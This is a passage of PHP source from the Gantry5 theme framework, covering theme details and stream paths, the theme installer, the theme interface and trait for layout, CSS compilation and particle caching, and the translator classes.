$locator->findResource("gantry-cache://{$theme}/compiled/yaml",
true, true);
$file = CompiledYamlFile::instance($filename);
$this->items = $file->setCachePath($cache)->content();
$file->free();
$this->offsetSet('name', $theme);
$parent = (string)
$this->get('configuration.theme.parent', $theme);
$parent = $parent != $theme ? $parent : null;
$this->offsetSet('parent', $parent);
}
/**
* @return string
*/
public function addStreams()
{
$gantry = Gantry::instance();
// Initialize theme stream.
$streamName =
$this->addStream($this->offsetGet('name'),
$this->getPaths());
// Initialize parent theme streams.
$loaded = [$this->offsetGet('name')];
$details = $this;
while ($details = $details->parent()) {
if (in_array($details->name, $loaded)) {
break;
}
$this->addStream($details->name,
$details->getPaths(false));
$loaded[] = $details->name;
}
/** @var Streams $streams */
$streams = $gantry['streams'];
$streams->register();
return $streamName;
}
/**
* Get parent theme details if theme has a parent.
*
* @return ThemeDetails|null
* @throws \RuntimeException
*/
public function parent()
{
$parent = $this->offsetGet('parent');
if (!$this->parent && $parent) {
try {
$this->parent = new ThemeDetails($parent);
} catch (\RuntimeException $e) {
throw new \RuntimeException(sprintf('Parent theme %s
not found', $parent), 404);
}
}
return $this->parent;
}
/**
* Get all possible paths to the theme.
*
* @return array
*/
public function getPaths($overrides = true)
{
$paths = array_merge(
$overrides ? (array)
$this->get('configuration.theme.overrides',
'gantry-theme://custom') : [],
['gantry-theme://'],
(array) $this->get('configuration.theme.base',
'gantry-theme://common')
);
$parent = $this->offsetGet('parent');
if ($parent) {
// Stream needs to be valid URL.
$streamName = 'gantry-themes-' .
preg_replace('|[^a-z\d+.-]|ui', '-', $parent);
$paths[] = "{$streamName}://";
}
return $this->parsePaths($paths);
}
/**
* Convert theme path into stream URI.
*
* @param string $path
* @return string
*/
public function getUrl($path)
{
$uri = (string) $this->offsetGet($path);
if (strpos($uri, 'gantry-theme://') === 0) {
list (, $uri) = explode('://', $uri, 2);
}
if (!strpos($uri, '://')) {
$name = $this->offsetGet('name');
// Stream needs to be valid URL.
$streamName = 'gantry-themes-' .
preg_replace('|[^a-z\d+.-]|ui', '-', $name);
$uri = "{$streamName}://{$uri}";
}
return $uri;
}
/**
* Turn list of theme paths to be universal, so they can be used
outside of the theme.
*
* @param array $items
* @return array
*/
public function parsePaths(array $items)
{
foreach ($items as &$item) {
$item = $this->parsePath($item);
}
return $items;
}
/**
* Convert theme paths to be universal, so they can be used outside of
the theme.
*
* @param string $path
* @return string
*/
public function parsePath($path)
{
if (strpos($path, 'gantry-theme://') === 0) {
list (, $path) = explode('://', $path, 2);
}
if (!strpos($path, '://')) {
$name = $this->offsetGet('name');
$path = "gantry-themes://{$name}/{$path}";
}
return $path;
}
/**
* @return string|null
* @deprecated 5.1.5
*/
public function getParent()
{
return $this->offsetGet('parent');
}
/**
* @param string $name
* @param array $paths
* @return string|null
*/
protected function addStream($name, $paths)
{
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
/** @var Streams $streams */
$streams = $gantry['streams'];
// Add theme stream.
$streamName = 'gantry-themes-' .
preg_replace('|[^a-z\d+.-]|ui', '-', $name);
if (!$locator->schemeExists($streamName)) {
$streams->add([$streamName => ['paths' =>
$paths]]);
}
return $streamName;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Theme;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Layout\Layout;
use Gantry\Framework\Gantry;
use Gantry\Framework\Platform;
use Gantry\Framework\Services\ErrorServiceProvider;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
abstract class ThemeInstaller
{
/**
* Set to true if in Gantry.
*
* @var bool
*/
public $initialized = false;
public $actions = [];
protected $name;
protected $outlines;
protected $script;
public function __construct($extension = null)
{
if ($extension) {
$this->name = $extension;
}
}
abstract public function getPath();
/**
* Get list of available outlines.
*
* @param array $filter
* @return array
*/
public function getOutlines(array $filter = null)
{
if (!isset($this->outlines)) {
$this->outlines = [];
$path = $this->getPath();
// If no outlines are given, try loading outlines.yaml file.
$file = YamlFile::instance($path .
'/install/outlines.yaml');
if ($file->exists()) {
// Load the list from the yaml file.
$this->outlines = (array) $file->content();
$file->free();
} elseif (is_dir($path . '/install/outlines')) {
// Build the list from the install folder.
// recurse = false, full=true
$folders = Folder::all($path .
'/install/outlines', ['folders' => true,
'recursive' => false]);
foreach ($folders as $folder) {
$this->outlines[basename($folder)] = [];
}
}
// Always include system outlines.
$this->outlines += ['default' => [],
'_body_only' => [], '_error' => [],
'_offline' => []];
}
return is_array($filter) ? array_intersect_key($this->outlines,
array_flip($filter)) : $this->outlines;
}
public function getOutline($name)
{
$list = $this->getOutlines([$name]);
return reset($list);
}
public function installDefaults()
{
$installerScript = $this->getInstallerScript();
if ($installerScript && method_exists($installerScript,
'installDefaults')) {
$installerScript->installDefaults($this);
} else {
$this->createDefaults();
}
}
public function installSampleData()
{
$installerScript = $this->getInstallerScript();
if ($installerScript && method_exists($installerScript,
'installSampleData')) {
$installerScript->installSampleData($this);
} else {
$this->createSampleData();
}
}
public function createDefaults()
{
$this->createOutlines();
}
public function createSampleData()
{
}
public function render($template, $context = [])
{
try {
$loader = new \Twig_Loader_Filesystem();
$loader->setPaths([$this->getPath() .
'/install/templates']);
$params = [
'cache' => null,
'debug' => false,
'autoescape' => 'html'
];
$twig = new \Twig_Environment($loader, $params);
$name = $this->name;
$context += [
'name' => $this->translate($name),
'actions' => $this->actions
];
return $twig->render($template, $context);
} catch (\Exception $e) {
return '';
}
}
/**
* Set available outlines.
*
* @param array $outlines If parameter isn't provided, outlines
list get reloaded from the disk.
* @return $this
*/
public function setOutlines(array $outlines = null)
{
$this->outlines = $outlines;
return $this;
}
/**
* @param array $filter
*/
public function createOutlines(array $filter = null)
{
$outlines = $this->getOutlines($filter);
foreach ($outlines as $folder => $params) {
$this->createOutline($folder, $params);
}
}
/**
* @param string $folder
* @param array $params
* @return string|bool
*/
public function createOutline($folder, array $params = [])
{
if (!$folder) {
throw new \RuntimeException('Cannot create outline without
folder name');
}
$this->initialize();
$created = false;
$params += [
'preset' => null,
'title' => null
];
$title = $params['title'] ?: ucwords(trim(strtr($folder,
['_' => ' '])));
$preset = $params['preset'] ?: 'default';
// Copy configuration for the new layout.
if (($this->copyCustom($folder, $folder) || $created)) {
// Update layout and save it.
$layout = Layout::load($folder, $preset);
$layout->save()->saveIndex();
if ($created) {
$this->actions[] = ['action' =>
'outline_created', 'text' =>
$this->translate('GANTRY5_INSTALLER_ACTION_OUTLINE_CREATED',
$title)];
} else {
$this->actions[] = ['action' =>
'outline_updated', 'text' =>
$this->translate('GANTRY5_INSTALLER_ACTION_OUTLINE_UPDATED',
$title)];
}
}
return $folder;
}
public function initialize()
{
if ($this->initialized) {
return;
}
$name = $this->name;
$path = $this->getPath();
// Remove compiled CSS files if they exist.
$cssPath = $path . '/custom/css-compiled';
if (is_dir($cssPath)) {
Folder::delete($cssPath);
} elseif (is_file($cssPath)) {
@unlink($cssPath);
}
// Remove wrongly named file if it exists.
$md5path = $path . '/MD5SUM';
if (is_file($md5path)) {
@unlink($md5path);
}
// Restart Gantry and initialize it.
$gantry = Gantry::restart();
$gantry['theme.name'] = $name;
$gantry['streams']->register();
// Only add error service if debug mode has been enabled.
if ($gantry->debug()) {
$gantry->register(new ErrorServiceProvider);
}
/** @var Platform $patform */
$patform = $gantry['platform'];
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
// Initialize theme stream.
$details = new ThemeDetails($name);
$locator->addPath('gantry-theme', '',
$details->getPaths(), false, true);
// Initialize theme cache stream and clear theme cache.
$cachePath = $patform->getCachePath() . '/' . $name;
if (is_dir($cachePath)) {
Folder::delete($cachePath);
}
Folder::create($cachePath);
$locator->addPath('gantry-cache', 'theme',
[$cachePath], true, true);
CompiledYamlFile::$defaultCachePath =
$locator->findResource('gantry-cache://theme/compiled/yaml',
true, true);
CompiledYamlFile::$defaultCaching =
$gantry['global']->get('compile_yaml', 1);
$this->initialized = true;
}
public function finalize()
{
// Copy standard outlines if they haven't been copied already.
$this->copyCustom('default', 'default');
$this->copyCustom('_body_only',
'_body_only');
$this->copyCustom('_error', '_error');
$this->copyCustom('_offline', '_offline');
$this->initialize();
}
/**
* @param string $layout
* @param string $id
* @return bool True if files were copied over.
*/
protected function copyCustom($layout, $id)
{
$path = $this->getPath();
// Only copy files if the target id doesn't exist.
$dst = $path . '/custom/config/' . $id;
if (!$layout || !$id || is_dir($dst)) {
return false;
}
// New location for G5.3.2+
$src = $path . '/install/outlines/' . $layout;
if (!is_dir($src)) {
// Old and deprecated location.
$src = $path . '/install/layouts/' . $layout;
}
try {
is_dir($src) ? Folder::copy($src, $dst) : Folder::create($dst);
} catch (\Exception $e) {
throw new \RuntimeException("Creating configuration for
outline '{$layout}' failed: {$e->getMessage()}", 500,
$e);
}
return true;
}
protected function translate($text)
{
$translator = Gantry::instance()['translator'];
$args = func_get_args();
return call_user_func_array([$translator, 'translate'],
$args);
}
protected function getInstallerScript()
{
if (!$this->script) {
$className = ucfirst($this->name) .
'InstallerScript';
if (!class_exists($className)) {
$path = "{$this->getPath()}/install.php";
if (is_file($path)) {
require_once $path;
}
}
if (class_exists($className)) {
$this->script = new $className;
}
}
return $this->script;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Theme;
use Gantry\Component\Config\Config;
use Gantry\Component\Layout\Layout;
use Gantry\Component\Stylesheet\CssCompilerInterface;
/**
* Class ThemeTrait
* @package Gantry\Framework\Base
*
* @property string $path
* @property string $layout
*/
interface ThemeInterface
{
// AbstractTheme class
/**
* Get context for render().
*
* @param array $context
* @return array
*/
public function getContext(array $context);
/**
* Define twig environment.
*
* @param \Twig_Environment $twig
* @param \Twig_LoaderInterface $loader
* @return \Twig_Environment
*/
public function extendTwig(\Twig_Environment $twig,
\Twig_LoaderInterface $loader = null);
/**
* Returns renderer.
*
* @return \Twig_Environment
*/
public function renderer();
/**
* Render a template file.
*
* @param string $file
* @param array $context
* @return string
*/
public function render($file, array $context = array());
// ThemeTrait class
/**
* Update all CSS files in the theme.
*
* @param array $outlines
* @return array List of CSS warnings.
*/
public function updateCss(array $outlines = null);
/**
* Set current layout.
*
* @param string $name
* @param bool $force
* @return $this
*/
public function setLayout($name = null, $force = false);
/**
* Get current preset.
*
* @param bool $forced If true, return only forced preset or null.
* @return string|null $preset
*/
public function preset($forced = false);
/**
* Set preset to be used.
*
* @param string $name
* @return $this
*/
public function setPreset($name = null);
/**
* Return CSS compiler used in the theme.
*
* @return CssCompilerInterface
* @throws \RuntimeException
*/
public function compiler();
/**
* Returns URL to CSS file.
*
* If file does not exist, it will be created by using CSS compiler.
*
* @param string $name
* @return string
*/
public function css($name);
/**
* Return all CSS variables.
*
* @return array
*/
public function getCssVariables();
/**
* Returns style presets for the theme.
*
* @return Config
*/
public function presets();
/**
* Return name of the used layout preset.
*
* @return string
* @throws \RuntimeException
*/
public function type();
/**
* Load current layout and its configuration.
*
* @param string $name
* @return Layout
* @throws \LogicException
*/
public function loadLayout($name = null);
/**
* Check whether layout has content bock.
*
* @return bool
*/
public function hasContent();
/**
* Returns all non-empty segments from the layout.
*
* @return array
*/
public function segments();
/**
* Returns details of the theme.
*
* @return ThemeDetails
*/
public function details();
/**
* Returns configuration of the theme.
*
* @return array
*/
public function configuration();
/**
* Function to convert block sizes into CSS classes.
*
* @param $text
* @return string
*/
public function toGrid($text);
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Theme;
use Gantry\Component\Config\Config;
use Gantry\Component\Content\Block\ContentBlock;
use Gantry\Component\Content\Block\HtmlBlock;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Gantry\GantryTrait;
use Gantry\Component\Layout\Layout;
use Gantry\Component\Stylesheet\CssCompilerInterface;
use Gantry\Framework\Document;
use Gantry\Framework\Menu;
use Gantry\Framework\Services\ConfigServiceProvider;
use RocketTheme\Toolbox\File\PhpFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
/**
* Class ThemeTrait
* @package Gantry\Component
*
* @property string $path
* @property string $layout
*/
trait ThemeTrait
{
use GantryTrait;
protected $layoutObject;
protected $atoms;
protected $segments;
protected $preset;
protected $cssCache;
/**
* @var CssCompilerInterface
*/
protected $compiler;
protected $equalized = [3 => 33.3, 6 => 16.7, 7 => 14.3, 8
=> 12.5, 9 => 11.1, 11 => 9.1, 12 => 8.3];
/**
* @var ThemeDetails
*/
protected $details;
/**
* Register Theme stream.
*
* @param string $savePath
*/
public function registerStream($savePath = null)
{
$streamName = $this->details()->addStreams();
/** @var UniformResourceLocator $locator */
$locator = self::gantry()['locator'];
$locator->addPath('gantry-theme', '',
array_merge((array) $savePath, [[$streamName, '']]));
}
/**
* Update all CSS files in the theme.
*
* @param array $outlines
* @return array List of CSS warnings.
*/
public function updateCss(array $outlines = null)
{
$gantry = static::gantry();
$compiler = $this->compiler();
if (is_null($outlines)) {
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$path = $locator->findResource($compiler->getTarget(),
true, true);
// Make sure that all the CSS files get deleted.
if (is_dir($path)) {
Folder::delete($path, false);
}
$outlines = $gantry['outlines'];
}
// Make sure that PHP has the latest data of the files.
clearstatcache();
$warnings = [];
foreach ($outlines as $outline => $title) {
$config = ConfigServiceProvider::load($gantry, $outline);
$compiler->reset()->setConfiguration($outline)->setVariables($config->flatten('styles',
'-'));
$results = $compiler->compileAll()->getWarnings();
if ($results) {
$warnings[$outline] = $results;
}
}
return $warnings;
}
/**
* Set layout to be used.
*
* @param string $name
* @param bool $force
* @return $this
*/
public function setLayout($name = null, $force = false)
{
$gantry = static::gantry();
// Force new layout to be set.
if ($force) {
unset($gantry['configuration']);
}
// Set default name only if configuration has not been set before.
if ($name === null &&
!isset($gantry['configuration'])) {
$name = 'default';
}
$outline = isset($gantry['configuration']) ?
$gantry['configuration'] : null;
// Set configuration if given.
if ($name && $name != $outline) {
GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage("Using Gantry outline {$name}");
$gantry['configuration'] = $name;
unset($gantry['config']);
$gantry['config'] =
ConfigServiceProvider::load($gantry, $name);
}
return $this;
}
/**
* Get current preset.
*
* @param bool $forced If true, return only forced preset or null.
* @return string|null $preset
*/
public function preset($forced = false)
{
$presets = $this->presets()->toArray();
$preset = $this->preset;
if (!$preset && !$forced) {
$preset =
static::gantry()['config']->get('styles.preset',
'-undefined-');
}
if ($preset && !isset($presets[$preset])) {
$preset = null;
}
return $preset;
}
/**
* Set preset to be used.
*
* @param string $name
* @return $this
*/
public function setPreset($name = null)
{
// Set preset if given.
if ($name) {
$this->preset = $name;
}
return $this;
}
/**
* Return CSS compiler used in the theme.
*
* @return CssCompilerInterface
* @throws \RuntimeException
*/
public function compiler()
{
if (!$this->compiler) {
$compilerClass = (string)
$this->details()->get('configuration.css.compiler',
'\Gantry\Component\Stylesheet\ScssCompiler');
if (!class_exists($compilerClass)) {
throw new \RuntimeException('CSS compiler used by the
theme not found');
}
$details = $this->details();
/** @var CssCompilerInterface $compiler */
$this->compiler = new $compilerClass();
$this->compiler
->setTarget($details->get('configuration.css.target'))
->setPaths($details->get('configuration.css.paths'))
->setFiles($details->get('configuration.css.files'))
->setFonts($details->get('configuration.fonts'));
}
$preset = $this->preset(true);
if ($preset) {
$this->compiler->setConfiguration($preset);
} else {
$gantry = static::gantry();
$this->compiler->setConfiguration(isset($gantry['configuration'])
? $gantry['configuration'] : 'default');
}
return $this->compiler->reset();
}
/**
* Returns URL to CSS file.
*
* If file does not exist, it will be created by using CSS compiler.
*
* @param string $name
* @return string
*/
public function css($name)
{
if (!isset($this->cssCache[$name])) {
$compiler = $this->compiler();
if ($compiler->needsCompile($name, [$this,
'getCssVariables'])) {
GANTRY_DEBUGGER &&
\Gantry\Debugger::startTimer("css-{$name}", "Compiling CSS:
{$name}") && \Gantry\Debugger::addMessage("Compiling CSS:
{$name}");
$compiler->compileFile($name);
GANTRY_DEBUGGER &&
\Gantry\Debugger::stopTimer("css-{$name}");
}
$this->cssCache[$name] = $compiler->getCssUrl($name);
}
return $this->cssCache[$name];
}
public function getCssVariables()
{
if ($this->preset) {
$variables = $this->presets()->flatten($this->preset .
'.styles', '-');
} else {
$gantry = self::gantry();
$variables =
$gantry['config']->flatten('styles', '-');
}
return $variables;
}
/**
* Returns style presets for the theme.
*
* @return Config
*/
public function presets()
{
static $presets;
if (!$presets) {
$gantry = static::gantry();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$filename =
$locator->findResource("gantry-theme://gantry/presets.yaml");
$file = CompiledYamlFile::instance($filename);
$presets = new Config($file->content());
$file->free();
}
return $presets;
}
/**
* Return name of the used layout preset.
*
* @return string
* @throws \RuntimeException
*/
public function type()
{
if (!$this->layoutObject) {
throw new \RuntimeException('Function called too
early');
}
$name = isset($this->layoutObject->preset['name'])
? $this->layoutObject->preset['name'] :
'unknown';
return $name;
}
/**
* Load current layout and its configuration.
*
* @param string $name
* @return Layout
* @throws \LogicException
*/
public function loadLayout($name = null)
{
if (!$name) {
try {
$name = static::gantry()['configuration'];
} catch (\Exception $e) {
throw new \LogicException('Gantry: Outline has not
been defined yet', 500);
}
}
if (!isset($this->layoutObject) ||
$this->layoutObject->name != $name) {
$layout = Layout::instance($name);
if (!$layout->exists()) {
$layout = Layout::instance('default');
}
// TODO: Optimize
$this->layoutObject = $layout->init();
}
return $this->layoutObject;
}
/**
* Check whether layout has content bock.
*
* @return bool
*/
public function hasContent()
{
$layout = $this->loadLayout();
$content = $layout->referencesByType('system',
'content');
return !empty($content);
}
/**
* Load atoms and assets from the page settings.
*
* @since 5.4.9
*/
public function loadAtoms()
{
if (!isset($this->atoms)) {
$this->atoms = true;
GANTRY_DEBUGGER &&
\Gantry\Debugger::startTimer('atoms', "Preparing
atoms");
$gantry = static::gantry();
/** @var Config $config */
$config = $gantry['config'];
/** @var \Gantry\Framework\Document $document */
$document = $gantry['document'];
$atoms = (array) $config->get('page.head.atoms');
foreach ($atoms as $data) {
$atom = [
'type' => 'atom',
'subtype' => $data['type'],
] + $data;
try {
$block = $this->getContent($atom);
$document->addBlock($block);
} catch (\Exception $e) {
if ($gantry->debug()) {
throw new \RuntimeException("Rendering Atom
'{$atom['subtype']}' failed on error:
{$e->getMessage()}", 500, $e);
}
}
}
$assets = (array) $config->get('page.assets');
if ($assets) {
$atom = [
'id' => 'page-assets',
'title' => 'Page Assets',
'type' => 'atom',
'subtype' => 'assets',
'attributes' => $assets +
['enabled' => 1]
];
try {
$block = $this->getContent($atom);
$document->addBlock($block);
} catch (\Exception $e) {
if ($gantry->debug()) {
throw new \RuntimeException("Rendering CSS/JS
Assets failed on error: {$e->getMessage()}", 500, $e);
}
}
}
GANTRY_DEBUGGER &&
\Gantry\Debugger::stopTimer('atoms');
}
}
/**
* Returns all non-empty segments from the layout.
*
* @return array
*/
public function segments()
{
if (!isset($this->segments)) {
$this->segments = $this->loadLayout()->toArray();
GANTRY_DEBUGGER &&
\Gantry\Debugger::startTimer('segments', "Preparing
layout");
$this->prepareLayout($this->segments);
GANTRY_DEBUGGER &&
\Gantry\Debugger::stopTimer('segments');
}
return $this->segments;
}
/**
* Prepare layout for rendering. Initializes all CSS/JS in particles.
*/
public function prepare()
{
$this->segments();
}
/**
* Returns details of the theme.
*
* @return ThemeDetails
*/
public function details()
{
if (!$this->details) {
$this->details = new ThemeDetails($this->name);
}
return $this->details;
}
/**
* Returns configuration of the theme.
*
* @return array
*/
public function configuration()
{
return (array) $this->details()['configuration'];
}
/**
* Function to convert block sizes into CSS classes.
*
* @param $text
* @return string
*/
public function toGrid($text)
{
if (!$text) {
return '';
}
$number = round($text, 1);
$number = max(5, $number);
$number = (string) ($number == 100 ? 100 : min(95, $number));
static $sizes = array(
'33.3' => 'size-33-3',
'16.7' => 'size-16-7',
'14.3' => 'size-14-3',
'12.5' => 'size-12-5',
'11.1' => 'size-11-1',
'9.1' => 'size-9-1',
'8.3' => 'size-8-3'
);
return isset($sizes[$number]) ? ' ' . $sizes[$number] :
'size-' . (int) $number;
}
/**
* Magic setter method
*
* @param mixed $offset Asset name value
* @param mixed $value Asset value
*/
public function __set($offset, $value)
{
if ($offset == 'title') {
$offset = 'name';
}
$this->details()->offsetSet('details.' . $offset,
$value);
}
/**
* Magic getter method
*
* @param mixed $offset Asset name value
* @return mixed Asset value
*/
public function __get($offset)
{
if ($offset == 'title') {
$offset = 'name';
}
$value = $this->details()->offsetGet('details.' .
$offset);
if ($offset == 'version' && is_int($value)) {
$value .= '.0';
}
return $value;
}
/**
* Magic method to determine if the attribute is set
*
* @param mixed $offset Asset name value
* @return boolean True if the value is set
*/
public function __isset($offset)
{
if ($offset == 'title') {
$offset = 'name';
}
return $this->details()->offsetExists('details.' .
$offset);
}
/**
* Magic method to unset the attribute
*
* @param mixed $offset The name value to unset
*/
public function __unset($offset)
{
if ($offset == 'title') {
$offset = 'name';
}
$this->details()->offsetUnset('details.' .
$offset);
}
/**
* Prepare layout by loading all the positions and particles.
*
* Action is needed before displaying the layout as it recalculates
block widths based on the visible content.
*
* @param array $items
* @param bool $temporary
* @param bool $sticky
* @internal
*/
protected function prepareLayout(array &$items, $temporary = false,
$sticky = false)
{
foreach ($items as $i => &$item) {
// Non-numeric items are meta-data which should be ignored.
if (((string)(int) $i !== (string) $i) || !is_object($item)) {
continue;
}
if (!empty($item->children)) {
$fixed = true;
foreach ($item->children as $child) {
$fixed &= !empty($child->attributes->fixed);
}
$this->prepareLayout($item->children, $fixed,
$temporary);
}
// TODO: remove hard coded types.
switch ($item->type) {
case 'system':
break;
case 'atom':
case 'particle':
case 'position':
case 'spacer':
GANTRY_DEBUGGER &&
\Gantry\Debugger::startTimer($item->id, "Rendering
{$item->id}");
$item->content = $this->renderContent($item,
['prepare_layout' => true]);
// Note that content can also be null (postpone
rendering).
if ($item->content === '') {
unset($items[$i]);
}
GANTRY_DEBUGGER &&
\Gantry\Debugger::stopTimer($item->id);
break;
default:
if ($sticky) {
$item->attributes->sticky = 1;
break;
}
if (empty($item->children)) {
unset($items[$i]);
break;
}
$dynamicSize = 0;
$fixedSize = 0;
$childrenCount = count($item->children);
foreach ($item->children as $child) {
if (!isset($child->attributes->size)) {
$child->attributes->size = 100 /
count($item->children);
}
if (empty($child->attributes->fixed)) {
$dynamicSize += $child->attributes->size;
} else {
$fixedSize += $child->attributes->size;
}
}
$roundSize = round($dynamicSize, 1);
$equalized = isset($this->equalized[$childrenCount])
? $this->equalized[$childrenCount] : 0;
// force-casting string for testing comparison due to
weird PHP behavior that returns wrong result
if ($roundSize != 100 && (string) $roundSize !=
(string) ($equalized * $childrenCount)) {
$fraction = 0;
$multiplier = (100 - $fixedSize) / ($dynamicSize ?:
1);
foreach ($item->children as $child) {
if (!empty($child->attributes->fixed)) {
continue;
}
// Calculate size for the next item by taking
account the rounding error from the last item.
// This will allow us to approximate cumulating
error and fix it when rounding error grows
// over the rounding treshold.
$size = ($child->attributes->size *
$multiplier) + $fraction;
$newSize = round($size);
$fraction = $size - $newSize;
$child->attributes->size = $newSize;
}
}
}
}
}
/**
* Renders individual content block, like particle or position.
*
* Function is used to pre-render content.
*
* @param object|array $item
* @param array $options
* @return string|null
*/
public function renderContent($item, $options = [])
{
$gantry = static::gantry();
$content = $this->getContent($item, $options);
/** @var Document $document */
$document = $gantry['document'];
$document->addBlock($content);
$html = $content->toString();
return !strstr($html, '@@DEFERRED@@') ? $html : null;
}
/**
* Renders individual content block, like particle or position.
*
* Function is used to pre-render content.
*
* @param object|array $item
* @param array $options
* @return ContentBlock
* @since 5.4.3
*/
public function getContent($item, $options = [])
{
if (is_array($item)) {
$item = (object) $item;
}
$gantry = static::gantry();
/** @var Config $global */
$global = $gantry['global'];
$production = (bool) $global->get('production');
$subtype = $item->subtype;
$enabled =
$gantry['config']->get("particles.{$subtype}.enabled",
1);
if (!$enabled) {
return new HtmlBlock;
}
$attributes = isset($item->attributes) ? $item->attributes :
[];
$particle =
$gantry['config']->getJoined("particles.{$subtype}",
$attributes);
$cached = false;
$cacheKey = [];
// Enable particle caching only in production mode.
if ($production && isset($particle['caching'])) {
$caching = $particle['caching'] + ['type'
=> 'dynamic'];
switch ($caching['type']) {
case 'static':
$cached = true;
break;
case 'config_matches':
if
(isset($particle['caching']['values'])) {
$values = (array)
$particle['caching']['values'];
$compare = array_intersect_key($particle, $values);
$cached = ($values === $compare);
}
break;
case 'menu':
/** @var Menu $menu */
$menu = $gantry['menu'];
$cacheId = $menu->getCacheId();
// FIXME: menu caching needs to handle dynamic modules
inside menu: turning it off for now.
if (false && $cacheId !== null) {
$cached = true;
$cacheKey['menu_cache_key'] = $cacheId;
}
break;
}
}
if ($cached) {
$cacheKey['language'] =
$gantry['page']->language;
$cacheKey['attributes'] = $particle;
$cacheKey += (array) $item;
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$key = md5(json_encode($cacheKey));
$filename =
$locator->findResource("gantry-cache://theme/html/{$key}.php",
true, true);
$file = PhpFile::instance($filename);
if ($file->exists()) {
try {
return ContentBlock::fromArray((array)
$file->content());
} catch (\Exception $e) {
// Invalid cache, continue to rendering.
GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage(sprintf('Failed to load %s %s
cache', $item->type, $item->id), 'debug');
}
}
}
// Create new document context for assets.
$context = $this->getContext(['segment' => $item,
'enabled' => 1, 'particle' => $particle] +
$options);
/** @var Document $document */
$document = $gantry['document'];
$document->push();
$html =
trim($this->render("@nucleus/content/{$item->type}.html.twig",
$context));
$content = $document->pop()->setContent($html);
if (isset($file)) {
// Save HTML and assets into the cache.
GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage(sprintf('Caching %s %s',
$item->type, $item->id), 'debug');
$file->save($content->toArray());
}
return $content;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Translator;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Translator implements TranslatorInterface
{
protected $default = 'en';
protected $active = 'en';
protected $sections = [];
protected $translations = [];
protected $untranslated = [];
public function translate($string)
{
if (preg_match('|^GANTRY5(_[A-Z0-9]+){2,}$|', $string)) {
list(, $section, $code) = explode('_', $string, 3);
$string = ($this->find($this->active, $section, $string)
?: $this->find($this->default, $section, $string)) ?: $string;
}
if (func_num_args() === 1) {
return $string;
}
$args = func_get_args();
$args[0] = $string;
return call_user_func_array('sprintf', $args);
}
/**
* Set new active language if given and return previous active
language.
*
* @param string $language Language code. If not given, current
language is kept.
* @return string Previously active language.
*/
public function active($language = null)
{
$previous = $this->active;
if ($language) {
$this->active = $language;
}
return $previous;
}
public function untranslated()
{
return $this->untranslated;
}
protected function find($language, $section, $string)
{
if (!isset($this->sections[$language][$section])) {
$translations = $this->load($language, $section);
if (isset($this->translations[$language])) {
$this->translations[$language] += $translations;
} else {
$this->translations[$language] = $translations;
}
$this->sections[$language][$section] =
!empty($translations);
}
if (!isset($this->translations[$language][$string])) {
$this->untranslated[$language][$section][$string] = null;
return null;
}
return $this->translations[$language][$string];
}
protected function load($language, $section)
{
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$section = strtolower($section);
if ($section === 'engine') {
// TODO: add support for other engines than nucleus.
$section = 'nucleus';
}
$filename = 'gantry-admin://translations/' . $language .
'/' . $section . '.yaml';
$file = CompiledYamlFile::instance($filename);
if (!$file->exists() && ($pos = strpos($language,
'-')) > 0) {
$filename = 'gantry-admin://translations/' .
substr($language, 0, $pos) . '/' . $section . '.yaml';
$file = CompiledYamlFile::instance($filename);
}
$cachePath =
$locator->findResource('gantry-cache://translations', true,
true);
$translations = (array)
$file->setCachePath($cachePath)->content();
$file->free();
return $translations;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Translator;
interface TranslatorInterface
{
/**
* @param string $string
* @return string
*/
public function translate($string);
/**
* Set new active language if given and return previous active
language.
*
* @param string $language Language code. If not given, current
language is kept.
* @return string Previously active language.
*/
public function active($language = null);
}
